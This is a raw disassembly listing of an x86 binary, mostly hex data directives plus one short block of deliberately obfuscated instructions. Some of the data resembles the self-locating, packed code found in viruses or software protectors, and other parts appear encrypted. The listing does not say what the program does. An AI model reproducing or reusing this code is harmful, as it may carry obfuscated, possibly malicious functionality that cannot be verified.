		dd 354E858Dh, 6A5005EAh, 8D006A00h, 0E9AF3085h,	0B5FF5005h
		dd 5E9AFB2h, 1B3595FFh,	858D05E7h, 5EA3544h, 52858D50h
		dd 5005EA35h, 6A006Ah, 0AF42858Dh, 0FF5005E9h, 0E9AFB2B5h
		dd 3595FF05h, 8D05E71Bh, 0EA354485h, 858D5005h,	5EA355Eh
		dd 6A006A50h, 8F858D00h, 5005E9AFh, 0AFB2B5FFh,	95FF05E9h
		dd 5E71B35h, 3544858Dh,	8D5005EAh, 0EA356685h, 6A5005h
		dd 858D006Ah, 5E9AFADh,	0B2B5FF50h, 0FF05E9AFh,	0E71B3595h
		dd 44858D05h, 5005EA35h, 3562858Dh, 6A5005EAh, 8D006A00h
		dd 0E9AF9685h, 0B5FF5005h, 5E9AFB2h, 1B3595FFh,	858D05E7h
		dd 5EA3544h, 56858D50h,	5005EA35h, 6A006Ah, 0AF9E858Dh
		dd 0FF5005E9h, 0E9AFB2B5h, 3595FF05h, 8D05E71Bh, 0EA354485h
		dd 858D5005h, 5EA355Ah,	6A006A50h, 0A5858D00h, 5005E9AFh
		dd 0AFB2B5FFh, 95FF05E9h, 5E71B35h, 0AFB2B5FFh,	95FF05E9h
		dd 5E71D45h, 0A2E9h, 0A9BD8300h, 5E727h, 95840Fh, 0BD830000h
		dd 5E72B8Dh, 11850F00h,	8B000000h, 0E71B1195h, 0F8C28105h
		dd 0E900001Ch, 0Fh, 1209958Dh, 528B05E7h, 40C28134h, 893BD4C3h
		dd 0E729D595h, 0D5BD8305h, 5E729h, 55840Fh, 9D8B0000h
		dd 5E729D5h, 8B4CC383h,	4E858903h, 8B05EA35h, 0E729D59Dh
		dd 50C38305h, 8589038Bh, 5EA3552h, 29D59D8Bh, 0C38305E7h
		dd 89038B54h, 0EA355E85h, 0D59D8B05h, 8305E729h, 38B58C3h
		dd 35628589h, 9D8B05EAh, 5E729D5h, 8B5CC383h, 56858903h
		dd 8305EA35h, 0E7138DBDh, 850F0005h, 0Dh, 27A9BD83h, 0F0005E7h
		dd 6884h, 66B5FF00h, 0FF05EA35h, 0EA355AB5h, 56B5FF05h
		dd 0FF05EA35h, 0EA3562B5h, 5EB5FF05h, 0FF05EA35h, 0EA3552B5h
		dd 4EB5FF05h, 8D05EA35h, 0EA354885h, 858D5005h,	5EA3580h
		dd 89858D50h, 5005E71Dh, 9BD95FFh, 0C48305E7h, 8D406A24h
		dd 0EA356A85h, 858D5005h, 5E71D89h, 0FF006A50h,	0E708D995h
		dd 0FF016A05h, 0E7170195h, 0EBC18B05h, 46F31718h, 9Bh
		dd 4 dup(0)
		dd 20BE900h, 8B600000h,	0E824245Ch, 0
		dd 7ED815Dh, 6105EA39h,	0E90004C2h, 0FFFFFFE6h,	8C26160h
		dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 8C26160h
		dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 2 dup(0)
		dd 0E9C36160h, 0FFFFFFF8h, 393FB58Bh, 0E68105EAh, 0FFFFF000h
		dd 0BE9h, 19E800h, 0C6810000h, 1000h, 3943B53Bh, 860F05EAh
		dd 0FFFFFFE9h, 0FD8200Fh, 60CFD822h, 6650C361h,	324C88Ch
		dd 840FC00Ah, 19h, 2BB5350h, 8B000000h,	0E729D585h, 0A188605h
		dd 0F6850FDBh, 5BFFFFFFh, 4FF5858h, 0CFE9C324h,	50FFFFFFh
		dd 82474FFh, 14E995FFh,	0F5005E7h, 0FE244C01h, 1CC08358h
		dd 245C8B53h, 5889660Ch, 588966FCh, 8C665B02h, 0A0324C8h
		dd 9840FC0h, 8B000000h,	0E729D585h, 0C605h, 2404FF58h
		dd 0E90004C2h, 0FFFFFFBBh, 8C665053h, 3E380CBh,	840FDB0Ah
		dd 38h,	2BBh, 0D5858B00h, 8605E729h, 0FDB0A18h,	0FFFFF685h
		dd 1585C7FFh, 5E714h, 8B000000h, 8B082444h, 100098h, 988900h
		dd 8B000010h, 0E9188918h, 0Ah, 141585C7h, 10005E7h, 5B580000h
		dd 0C32404FFh, 0FFFFA3E9h, 3E8060FFh, 31840F00h, 0BB000000h
		dd 763AB7A1h, 1B101B0h,	13E9h, 0C88AAC00h, 0C332C302h
		dd 0BAACBD1h, 1840FD2h,	4A000000h, 850FC90Ah, 0FFFFFFE5h
		dd 850FD20Bh, 0FFFFFFDDh, 8B52C361h, 7A8B57D4h,	0E9C03308h
		dd 1, 3F80AAh, 0FFF6850Fh, 5A5FFFFFh, 530004C2h, 0C0335651h
		dd 10E9DB33h, 0AC000000h, 0D3D1D833h, 5ABCC381h, 0C88A3746h
		dd 0B49D3D3h, 0E8850FC9h, 8BFFFFFFh, 5B595EC3h,	0A1BB60C3h
		dd 0B0763AB7h, 11E901h,	32AC0000h, 0D1C32AC3h, 0D20BAACBh
		dd 1840Fh, 0A4A0000h, 0E7850FC0h, 0BFFFFFFh, 0DF850FD2h
		dd 61FFFFFFh, 0D88C66C3h, 840F04A8h, 29h, 38E485C7h, 105EAh
		dd 0F500000h, 0FE244C01h, 38E8858Fh, 858D05EAh,	5EA38E0h
		dd 38E8BD8Dh, 388905EAh, 23E9h,	9858D00h, 8B05E712h, 17053840h
		dd 899B46F3h, 0EA38E085h, 9858D05h, 8B05E712h, 85893C40h
		dd 5EA38E4h, 38FD858Dh,	858905EAh, 5E714E9h, 87E9h, 0D48B5200h
		dd 8728B60h, 0B80C7A8Bh, 0A945CAB2h, 7E9h, 30060000h, 46C8D106h
		dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h,	8728B60h
		dd 0B80C7A8Bh, 0A945CAB2h, 7E9h, 28063000h, 46C8D106h
		dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h,	33535156h
		dd 8728BDBh, 0E90C4A8Bh, 13h, 0F2D3CACh, 0A84h,	34980400h
		dd 0C1D83213h, 0B4908C3h, 0E5850FC9h, 8BFFFFFFh, 5E595BC3h
		dd 8C25Ah, 3B70858Dh, 858905EAh, 5E70ADDh, 3B98858Dh, 858905EAh
		dd 5E71D55h, 3BC0858Dh,	858905EAh, 5E71889h, 53006A60h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 0EAFFCACDh, 0D4E6BDBDh, 0B966BC82h, 8B66C152h, 60C08BCAh
		dd 8B66F18Ah, 0BD8361FEh, 5E70C81h, 83097500h, 0E72819BDh
		dd 19740005h, 0C08B5350h, 40EB8h, 7D858900h, 8D05E704h
		dd 0E9B4939Dh, 5BD3FF05h, 19BD8358h, 5E728h, 53501774h
		dd 40EB8h, 7D858900h, 8D05E704h, 0E9B1829Dh, 5BD3FF05h
		dd 52006A58h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 53006AC5h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 0E2D93419h, 9414536Ah
		dd 0BE8h, 9A45E00h, 44285BC1h, 23522044h, 7E9h,	0F3D08700h
		dd 0E28AEF54h, 6AC08B59h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 85A0C356h, 0DE960h
		dd 62010000h, 4AF89873h, 39D258EEh, 0FCB663A2h,	9BD8361h
		dd 5E718h, 4B840Fh, 0EE90000h, 18000000h, 0C6D21F5Ch, 1A81BEE0h
		dd 490E743Fh, 1AAE97Ch,	6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 0BE3F04C3h, 22BD6166h
		dd 68D0Fh, 60600000h, 61616061h, 730502B9h, 0B9DF8C20h
		dd 5D0E2415h, 4C7F766h,	65850F00h, 0E9000001h, 6, 90901FEAh
		dd 0D68B4BFBh, 0BFh, 0FE4FBE00h, 8DFC28EBh, 0EA3ECE9Dh
		dd 1B820F05h, 0F000000h, 1580h,	0FE800h, 0E7710000h, 3EC211A2h
		dd 6314E0BCh, 0FFC44F00h, 0F505E24h, 1380h, 0BE800h, 0D98E0000h
		dd 0F1AAB074h, 1CB4ED21h, 5A595173h, 0B9241C89h, 6787B9E0h
		dd 35FF64h, 0BA000000h,	222C4333h, 258964h, 0FC000000h
		dd 0D18BC48Bh, 6FF9BA60h, 8B665CB1h, 1CD61CFh, 80F800EBh
		dd 8F6469E9h, 5, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 0BE2F59DDh, 7C5F128h
		dd 0F804C483h, 148C0Fh,	0FE90000h, 61000000h, 24C83D49h
		dd 755FC10h, 0F471E9BFh, 0C00BB6BBh, 8A840Fh, 0BE90000h
		dd 0A0000000h, 8080E576h, 0AB84B4D5h, 6A61B4CCh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 0FCA0C351h, 72CABD8Dh, 6A05E7h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 0A9B294C3h, 1B8B5h, 0D68B0000h
		dd 57F5E7FFh, 10245C8Bh, 0B8838Bh, 0B60F0000h, 0C8FE0140h
		dd 0B08389h, 83830000h,	0B8h, 0C0335F02h, 0B70F52C3h, 0C1815EF1h
		dd 3623FE7Dh, 12E961h, 7E170000h, 59167917h, 0D1C59572h
		dd 401E43B6h, 1D602458h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 0DFB8A4C3h, 57BD7484h
		dd 0F096656h, 189h, 0BD83F800h,	5E70C81h, 83097500h, 0E72819BDh
		dd 19740005h, 0C08B5350h, 40EB8h, 75858900h, 8D05E717h
		dd 0E9B4FA9Dh, 5BD3FF05h, 19BD8358h, 5E728h, 53501774h
		dd 40EB8h, 75858900h, 8D05E717h, 0E9B19B9Dh, 5BD3FF05h
		dd 51006A58h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 0AEE5BC59h, 8BAFF76Ah, 13E9D6h, 0F4880000h
		dd 0DE1B4A0h, 1568015Eh, 80E47E12h, 0E9172E49h,	0FC08B59h
		dd 188Dh, 13E900h, 0A07D0000h, 0B64F02A7h, 68A796A1h, 0D582AF4Bh
		dd 4560BCBEh, 0E8C28BCCh, 13h, 67F6049Bh, 73D509E0h, 17D451F5h
		dd 0F585C07Fh, 6692BED3h, 8640EF81h, 7E85Ah, 0EEAC0000h
		dd 8C46B76Ah, 5B8665Eh,	0C2815870h, 5FFEh, 0BEFBBF0Fh
		dd 18F09494h, 7CCDEE81h, 99B018F0h, 0F531A8Bh, 586h, 4502B800h
		dd 815F6C2Ch, 0D2AA87C3h, 0CB8B6674h, 442AC381h, 0C38108D7h
		dd 6480582Fh, 53C78B66h, 18E0Fh, 8FF50000h, 0F1816602h
		dd 0EA811585h, 2AEE9DB6h, 81CA8B66h, 0EE9DB2C2h, 0C1D7812Ah
		dd 831D1096h, 850F01EEh, 23h, 8890Fh, 0F600000h, 8B66DEBFh
		dd 3FE961F1h, 0E3000000h, 0BC55CB5Fh, 394290C1h, 87B9AE32h
		dd 0E98CF701h, 12h, 0B40D0783h,	3BA3AE7Ch, 6BF42106h, 0E0DC61B7h
		dd 6DE98974h, 0B5FFFFFFh, 0FCCD0D16h, 5ADA54E0h, 1453F31h
		dd 439BCB05h, 8EB7D6Dh,	2 dup(0)
		dd 7BE9h, 0F526000h, 0FE244C01h, 24C2835Ah, 2B8D858Bh
		dd 858D05E7h, 5EA6F2Fh,	888B088Bh, 1000h, 8B660A8Bh, 8D89FC4Ah
		dd 5EA40DBh, 1FDBD83h, 0F0005E7h, 0F84h, 6A6000h, 21C195FFh
		dd 0E96105E7h, 0FFFFFFC4h, 0FC728966h, 6610CEC1h, 52027289h
		dd 895A04CDh, 0EA40D785h, 0DBB58B05h, 0C105EA40h, 896610CEh
		dd 0B58B0272h, 5EA40DBh, 0FC728966h, 0D7858B61h, 0C305EA40h
		dd 0CED958Dh, 958905E7h, 5E729D5h, 11859589h, 85FF05E7h
		dd 5E71185h, 32A585C6h,	685305E7h, 0FCB148D8h, 899B5FFh
		dd 858D05E7h, 5E7392Ah,	8589D0FFh, 5E721C1h, 3917858Dh
		dd 858905EAh, 5E7196Dh,	20EBh, 7 dup(0)
		dd 41E90000h, 0E9000005h, 535h,	0EA435A68h, 3EB5E905h
		dd 0F968FFFDh, 0E905EA43h, 0FFFD3EABh, 0EA458D68h, 3EA1E905h
		dd 1468FFFDh, 0E905EA46h, 0FFFD3E97h, 5CF227BDh, 0A53BEE0Ch
		dd 0F3899055h, 3ED45DA3h, 861C0DEEh, 1AE1046Dh,	0D529790Fh
		dd 8B76C65Ch, 3FC010A6h, 6E875CF2h, 7C149D81h, 0BA3F255Ah
		dd 0ADFA1FC6h, 91D40CECh, 4BA1A7D4h, 1918E7F5h,	14FC34CCh
		dd 0C57CFF6Ah, 2D4Bh, 8E7F600h,	835491D4h, 0F1A58C75h
		dd 0CDEEE2Eh, 70164E22h, 311ED547h, 517C6792h, 0D72EC492h
		dd 0B012DCC5h, 467E555Ch, 2D78h, 0B1BFDB00h, 0B294E150h
		dd 457DE34Eh, 91D37A5Ah, 0B7E3F554h, 6FEE47B9h,	0E50EB4ECh
		dd 0D3C32325h, 76DBC6Fh, 0DDC46350h, 0F6C4517Bh, 1FC60B60h
		dd 0B6C4ADFAh, 0FF97E445h, 0D3775B48h, 31FF5491h, 2DA50EF9h
		dd 51AF2B6Eh, 4AB193E0h, 0E2AC92DFh, 5E81928Bh,	0DB3121C3h
		dd 17E593D6h, 0DE74A540h, 340EDEF4h, 0F4D8C5C2h, 7CD49208h
		dd 0D8A0FAAEh, 98853CA2h, 0D491F2B8h, 3B1D6A38h, 80D76DC4h
		dd 66538D72h, 0D4921282h, 89D63C0Ah, 0CDAE3DF1h, 0ACCCAE5Eh
		dd 0E2A5CE74h, 920F11F5h, 0D67D99D4h, 0B65EA689h, 0F9B0167Ch
		dd 773AB10Ch, 1E6B39D1h, 79407D5Dh, 0C41218DAh,	9B95E791h
		dd 5FC8C0h, 0BF730000h,	36AE46ADh, 134B4909h, 1BD23A6Dh
		dd 7C51AA2Eh, 2DE4B251h, 0BB51E01Fh, 799D946Bh,	0E4E8B960h
		dd 0F2872B08h, 20000002h, 6FBF55C4h, 0B8089E8Bh, 656EC2Dh
		dd 51A137FAh, 0D0E97FAAh, 72B74467h, 0BF728CDCh, 928D929h
		dd 55DC2373h, 0E4D1EABFh, 5A7C1700h, 41DA288h, 2BDh, 0FA1FC667h
		dd 48B6C4ADh, 0CC049CE9h, 91D401E1h, 0D444A454h, 0AE75491h
		dd 0AD5491D5h, 5491D4CDh, 6EAB3A48h, 21D98921h,	0EB23BB08h
		dd 91D52000h, 0D4E3C354h, 98CB9491h, 3D8C7930h,	0BD117826h
		dd 362338EFh, 1A7BCB52h, 2BD40CDAh, 5D1484AFh, 60F84570h
		dd 0D2B1CD17h, 9416A27Bh, 39AACE34h, 0C11F0254h, 25340E4h
		dd 25BF0000h, 0EC0E5EF4h, 8E57A73Dh, 5BA5F58Bh,	0BF040D6h
		dd 66F881Eh, 7B1118E3h,	0C85ED32Bh, 12A88978h, 5EF43DC2h
		dd 9F837089h, 275A7C16h, 39C6BC41h, 0B23341F8h,	0A862F67h
		dd 0A3B86FD9h, 8BC36695h, 7B935DA0h, 8117E551h,	91BE182Ah
		dd 0FF2CDD4Eh, 0A52ABBC7h, 0F28AD75Ah, 3FA6F68Ch, 0D21123DAh
		dd 0F04AA2D9h, 2BA75088h, 0ECD990F8h, 57659AB1h, 8D4B2234h
		dd 4D674B38h, 21EF6066h, 0D359F16Dh, 814B2F1Ch,	5D36066h
		dd 0E7A3BFCDh, 0A0C297B7h, 0F6C9D4B2h, 0CD533542h, 1CB40118h
		dd 8BBA50B6h, 606677ABh, 41F86093h, 50371D54h, 18CF9D5Dh
		dd 8F2F50Ah, 0A28F7121h, 0A956A63Ch, 0CEBFD188h, 0CB53BE21h
		dd 0CF903971h, 66500FFFh, 954CBCE7h, 39CF7DA8h,	80370563h
		dd 0EA48D72h, 0A3F041BEh, 0D4B8A5BAh, 5C6C3A51h, 9B6B568Eh
		dd 836C3A51h, 85629E50h, 9D4DB376h, 0B46BD148h,	24118CC7h
		dd 8F461469h, 95697E81h, 51B74F9Ch, 9D946BBBh, 0EFA3D450h
		dd 0EDD623F6h, 24941C00h, 70D6A472h, 0C766530Ah, 0C76F0E52h
		dd 0BEBACF9h, 8D780ED6h, 9072BF72h, 176C36Eh, 61F88553h
		dd 30DA8D5Bh, 116601FEh, 0Ch, 0CF07E7BCh, 7C75491h, 2A000000h
		dd 91CA07E7h, 0FB2C8454h, 0AAEDDA91h, 32517B93h, 609FAD64h
		dd 5FA284D1h, 87ED85D2h, 0F92AA64Fh, 0B1C3D88Fh, 8821CB6Dh
		dd 0A792CA31h, 57618D14h, 0C32A4E1Ch, 2BDF01DBh, 0BFAA4Eh
		dd 91530000h, 58A2F288h, 0FAEB3BD1h, 0C739891Fh, 7784D46Ah
		dd 9A031CB2h, 0FA58477h, 5CF23FBFh, 0A63CF50Ch,	0F288A956h
		dd 3317041Dh, 0BB5A7C19h, 0B1BF50D5h, 0FA92DF4Ah, 81EB1CC2h
		dd 939ADDCAh, 622517Bh,	1011B87Dh, 1712E8BFh, 82FE4BB1h
		dd 4330E751h, 57611C48h, 6EC33D4Bh, 674B3821h, 0EF606322h
		dd 7583BB21h, 22856956h, 0F50D6063h, 41D9260Bh,	701D27DBh
		dd 0B69D94F1h, 4DCB2C50h, 5A37DF02h, 38B6h, 0F0ADA00h
		dd 58D12979h, 0A67372C2h, 0F140C010h, 39F00B5Bh, 0FE218AA3h
		dd 46962CFDh, 93E379B8h, 0DD2DC36Eh, 0A4790F22h, 19BA9E8Bh
		dd 5C425A7Ch, 304D7h, 58670000h, 0FB1EC613h, 0FE33CCAEh
		dd 0FF32CFB1h, 32ED0B2h, 227D4B6h, 128D3B5h, 32ED2B4h
		dd 811D4B6h, 821D9BBh
		db 0BBh, 6Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	1D9Fh
		mov	[esp], esi
		push	26AFh
		mov	[esp], ebx
		mov	esi, 11F7136Bh
		push	eax
		mov	eax, 744F519Ah
		shl	eax, 8
		and	eax, 0C324212h
		or	eax, 6CF43155h
		neg	eax
		xor	eax, 0F391BB3Eh
		xor	esi, eax
		pop	eax
		shl	esi, 8
		add	esi, 560C6BE6h
		xor	esi, 55A4F69h
		add	esi, 3FBF1B68h
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		pop	dword ptr [ebx+8]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_546C33
; ---------------------------------------------------------------------------
		dd 7C4AB636h, 2F93EC64h, 3764654Dh, 4671B843h, 0C50305EAh
		dd 51E9C88Bh, 60000000h, 2424748Bh, 8B3C7603h, 8B28247Ch
		dd 0F8C281D6h, 66000000h, 0F064E8Bh, 0F983C9B7h, 16840F00h
		dd 3B000000h, 8F0F0C7Ah, 15h, 8B28EA83h, 4A8B0C42h, 2BC12B14h
		dd 247C89F8h, 8C2611Ch,	28C28300h, 0CF850F49h, 0E9FFFFFFh
		dd 0FFFFFFE9h, 9FD3EBAh, 0E900EB00h, 60Eh, 602E9h, 48426800h
		dd 10E905EAh, 68FFFD39h, 5EA4965h, 0FD3906E9h, 4A0668FFh
		dd 0FCE905EAh, 68FFFD38h, 5EA4AF0h, 0FD38F2E9h,	4C3C68FFh
		dd 0E8E905EAh, 6CFFFD38h, 0BB0BA178h, 454EA3Fh,	52A238E1h
		dd 9DED83AEh, 1C35CB5Eh, 0BE6B90B3h, 0B26D828h,	55DC2575h
		dd 0A1906FBFh, 301D360Bh, 5A7C1A4Ch, 0E769EED4h, 5491D407h
		dd 91D3C6AAh, 0D3947154h, 57375491h, 0FA5491D3h, 5491D41Bh
		dd 0B0948196h, 385491D3h, 6747326Ah, 4FD491D3h,	10FDB424h
		dd 0D176F7A1h, 71CD3A1h, 0DA2702F9h, 0C56C9242h, 9CA8E078h
		dd 0B57C8265h, 0D46AD068h, 67B47D84h, 9950B8EBh, 84BC758Bh
		dd 26598471h, 0C9E1D75Eh, 7296FC35h, 5F056A0Ch,	97E38764h
		dd 8000004h, 57A73DDCh,	0A0F086A3h, 0EE3ED445h,	39891F12h
		dd 0B8D167C2h, 5ACF2C4Fh, 0A78A74C4h, 0F140C111h, 3DF40B5Bh
		dd 0CCB9D2A7h, 5A7C1BE8h, 0BF058A70h, 0A28F49B1h, 5491D3BEh
		dd 0DA127846h, 0B30031CEh, 91D413F2h, 0DDEB1C54h, 10D40C1Dh
		dd 624F64FAh, 5491D37Eh, 0D7FE2704h, 30E238E0h,	0E11E2A62h
		dd 956ABA50h, 926D4F9Ch, 1D83A655h, 0FE0CFCD0h,	3999867h
		dd 7C332DD7h, 4000E45h,	0C6B90000h, 0EAABF839h,	5491D40Bh
		dd 0B9885EE8h, 8760A146h, 0EB51B77Ah, 7A678055h, 5491D396h
		dd 8020719h, 0A4CEA6F2h, 43905E6Ch, 0FB91A061h,	26DD54ABh
		dd 0C402411h, 0FAC85492h, 1E3019C2h, 0C5B2A3C1h, 549227E1h
		dd 0EEE79B69h, 0EB4ECDEh, 0A6BB72E4h, 91FCD5B9h, 578F5D54h
		dd 0FDEA1565h, 0FFE12E03h, 64CA3001h, 0CE5B9FADh, 8B1E981h
		dd 0C359D826h, 91FCB494h, 0FD1D2F54h, 0CC449110h, 0BC424E86h
		dd 0E7ACBE75h, 0F90F97A1h, 0F06C154Dh, 0B19E55C7h, 51770A92h
		dd 0E8A0C492h, 30E4EC7Fh, 374AF53h, 0B92B0000h,	807ACA60h
		dd 22C313A9h, 0EF1161F7h, 9F5CAC42h, 72DBF48Ah,	0E77DAC4Fh
		dd 34CA6797h, 7E141DE4h, 0CA60D12Eh, 0BEFDCF5h,	935A7C1Dh
		dd 39C628ADh, 7B948BAAh, 7F2FC22Dh, 0C961AE7Bh,	0AA97AC63h
		dd 549208C6h, 9F48804Eh, 7EA142BDh, 328C0E8Fh, 4DB37684h
		dd 46B89AE7h, 62655EBh,	29549298h, 54928849h, 0DEC2AFC4h
		dd 665492A8h, 0AA546098h, 39C2D087h, 0D30BA3F0h, 0A889692Ah
		dd 46715492h, 0F50A1FD6h, 92A92408h, 0A6DEAC54h, 77AA30BBh
		dd 466A3851h, 0E4EBE04Ch, 0D39B3F1Ch, 0CC000002h, 1B6B0118h
		dd 64B44ADFh, 0B2029881h, 0FD4DE34Eh, 7C952BFEh, 1E0BF013h
		dd 6BC63888h, 0B57C85D5h, 130CF1Fh, 907D966Bh, 5A7C1DACh
		dd 0C6C94E34h, 0DE53AE39h, 48B3C178h, 97F7593h,	94FA7ED8h
		dd 0BCCAB35Ch, 8A0ED44h, 0F63BC4D0h, 17E5D5A9h,	53372439h
		dd 0DB54925Ch, 36C9D50Dh, 8F3965FBh, 70457C75h,	252h, 3FDA0B19h
		dd 38A65AF2h, 61C8CC5Ah, 0E7C1D20Ah, 5491D407h,	23B97889h
		dd 0B6032ED3h, 8FA5BBCDh, 0D5FDF759h, 0C170919Dh, 0C26F9274h
		dd 0C46D9375h, 86540277h, 31857F9h, 91DE3216h, 0B4ECBA54h
		dd 0B64B1AF0h, 0FB9E57Bh, 4F457CF6h, 226FBA41h,	5AE0528Ah
		dd 89000000h, 0E9A38774h, 5D2B5491h, 0A3DB4EADh, 47FB2C92h
		dd 942C79B8h, 7B8A772Eh, 7B5176F3h, 9D1389ADh, 9875E4ECh
		dd 1E9F4h, 0EB2EB600h, 34F50555h, 82974E9Eh, 0CD649CECh
		dd 1514E737h, 0DAFD667Fh, 22720821h, 6FBF55DCh,	0B9099F92h
		dd 8055EB46h, 1D967A67h, 381E5A7Ch, 132841B3h, 5CD8A401h
		dd 2DD98DA4h, 667F2F42h, 0B4907BB3h, 3C549288h,	55A9B76Eh
		dd 12FBA4DCh, 220FEFFDh, 9288AF93h, 31693754h, 0BF55DC25h
		dd 0A457906Fh, 86EC33Bh, 58D9EBA2h, 1EB02C75h, 147AB748h
		dd 8DB733DCh, 0CC35851Bh, 807FCF65h, 667B64B1h,	92BC9579h
		dd 174F1D54h, 0DF4F30Bh, 5328BE24h, 0BC694D3Ah,	23F15492h
		dd 0DEF1F4D6h, 15AB1120h, 0DC93E52Bh, 0B30031CEh, 583AE31Bh
		dd 0C3D58C8Dh, 0E9FDB209h, 42C29D88h, 92564C00h, 1B4A3C74h
		dd 5492393Bh, 8C53A8B6h, 1D55BB6Eh, 25DC4C77h, 773F1538h
		dd 984F1D51h, 598A7583h, 12D61826h, 7DCA300Fh, 59A1ADE5h
		dd 10EA3AD0h, 17EACC19h, 0AB55631Ah, 69A13986h,	1120DEC0h
		dd 0CA37455Ah, 0CBF4D867h, 607C5A79h, 0AAD95425h, 0A42A88Ah
		dd 946A7861h, 8B8509Dh,	53EB38F9h, 43D60F1Bh, 0B1807E8Ch
		dd 0EB94CC64h, 1DD4446Fh, 5E547530h, 0F6E3F857h, 60605512h
		dd 8694CC9Ah, 3C1294B8h, 815EDF05h, 9DDDh, 37E20200h, 80A951A1h
		dd 0CE4B9AEAh, 1918E838h, 61C83383h, 2649B2CBh,	6EBE54D5h
		dd 0BB0BA190h, 555EB46h, 0CCA137FAh, 1FE2C6B3h,	846A5A7Ch
		dd 0F839C6FFh, 65CC3341h, 9F488018h, 0DA57A8B6h, 0BA45F58Dh
		dd 5A922A77h, 0C836B14Eh, 0E2B60369h, 0B24DE4F2h, 7D92E97Fh
		dd 91D3AC90h, 2E663454h, 7CFC9C46h, 1C7D45h, 0E7280000h
		dd 5491D408h, 26BC758Ah, 1C14h,	99677500h, 7374834Ah, 46ACB7AEh
		dd 0B1BFFD0Eh, 0C1ACE44Dh, 5491D3E1h, 0FF959C63h, 705946AAh
		dd 2, 1EC6256Ah, 33CCAEFBh, 32CFB1FEh, 2ED0B2FFh, 27D4B603h
		dd 28D3B502h, 2ED2B401h, 11D4B603h, 21D9BB08h, 576FBB08h
		dd 0C781E789h, 4, 5704EF83h, 42474FFh, 24048F5Fh, 14DB685Ch
		dd 4890000h, 12776824h,	3C890000h, 37685724h, 5F257A67h
		dd 6617CF81h, 0F78147C5h, 62152091h, 3C8BF889h,	4C48324h
		dd 4EC81h, 24890000h, 24048124h, 4, 0C189515Fh,	8B084F89h
		dd 0C483240Ch, 2434FF04h, 4C4815Fh, 0FF000000h,	83582434h
		dd 1CE904C4h, 8BFFFD33h, 0B80E626Ah, 5EA4CFEh, 0D18BC503h
		dd 0D9E9h, 0BE1D2000h, 82C12C0Fh, 0B6CFDF2Fh, 5D54FDBEh
		dd 0ECA43636h, 5DD500BCh, 76D352C5h, 0FC94A4D6h, 0AEC44100h
		dd 77CB50C1h, 0ACAC3252h, 91B8009Ch, 0CD64F7F6h, 389382h
		dd 3C0000h, 400000h, 940000h, 50000h, 10000h, 0A280000h
		dd 20000h, 20h dup(0)
		dd 61C30000h, 0EDE90A2Eh, 6800001Eh, 5EA5067h, 0FD3222E9h
		dd 514668FFh, 18E905EAh, 68FFFD32h, 5EA520Eh, 0FD320EE9h
		dd 52A568FFh, 4E905EAh,	68FFFD32h, 5EA5366h, 0FD31FAE9h
		dd 540968FFh, 0F0E905EAh, 68FFFD31h, 5EA54E1h, 0FD31E6E9h
		dd 55A868FFh, 0DCE905EAh, 68FFFD31h, 5EA5916h, 0FD31D2E9h
		dd 597768FFh, 0C8E905EAh, 68FFFD31h, 5EA5ABAh, 0FD31BEE9h
		dd 5E0968FFh, 0B4E905EAh, 68FFFD31h, 5EA6184h, 0FD31AAE9h
		dd 64D768FFh, 0A0E905EAh, 68FFFD31h, 5EA6654h, 0FD3196E9h
		dd 66CC68FFh, 8CE905EAh, 68FFFD31h, 5EA6728h, 0FD3182E9h
		dd 678468FFh, 78E905EAh, 68FFFD31h, 5EA6883h, 0FD316EE9h
		dd 69DE68FFh, 64E905EAh, 68FFFD31h, 5EA6AD2h, 0FD315AE9h
		dd 2FEAFAFFh, 78B14999h, 0C65392E2h, 1120E030h,	59D02B7Bh
		dd 1E41AAC3h, 66B64CDDh, 0B3039998h, 0FD4DE34Eh, 0C4992F02h
		dd 22DABEABh, 7C625A7Ch, 0F839C6F7h, 47B4C2ABh,	0BFAC95E2h
		dd 5491D3DBh, 0F72F9563h, 871D14EBh, 4B026A9Dh,	76DFFF5Eh
		dd 64B17F51h, 78DFC3A3h, 82585E5Ah, 0D1609EACh,	0CCB4EC84h
		dd 409BF422h, 2503h, 0FB2CAE00h, 26EDDA91h, 0A65176FCh
		dd 71BE738Eh, 652673D9h, 5A78FB85h, 99CC1A20h, 409BD4EFh
		dd 0DFD0h, 39C67B00h, 0CE3341F8h, 47301663h, 0B93C379Ah
		dd 1401B81Eh, 54922230h, 9B2EAB8h, 8507D427h, 0B1687D21h
		dd 5A18CC64h, 0C51278BBh, 0FE33CEDCh, 0D5E119B1h, 0E5C9B62Ah
		dd 6D54921Fh, 0AEC399Fh, 4FA63CF5h, 1F694D3Ah, 23F15492h
		dd 1F9B7F6Ch, 55235492h, 2315321Dh, 0FB105492h,	92242A0Eh
		dd 0ACE4B254h, 3CD25FA0h, 2AD413ECh, 0BC22BA07h, 58C0F36Fh
		dd 27C9B4A1h, 3D15177h,	0E850836Dh, 53DE2331h, 0CE1B081Bh
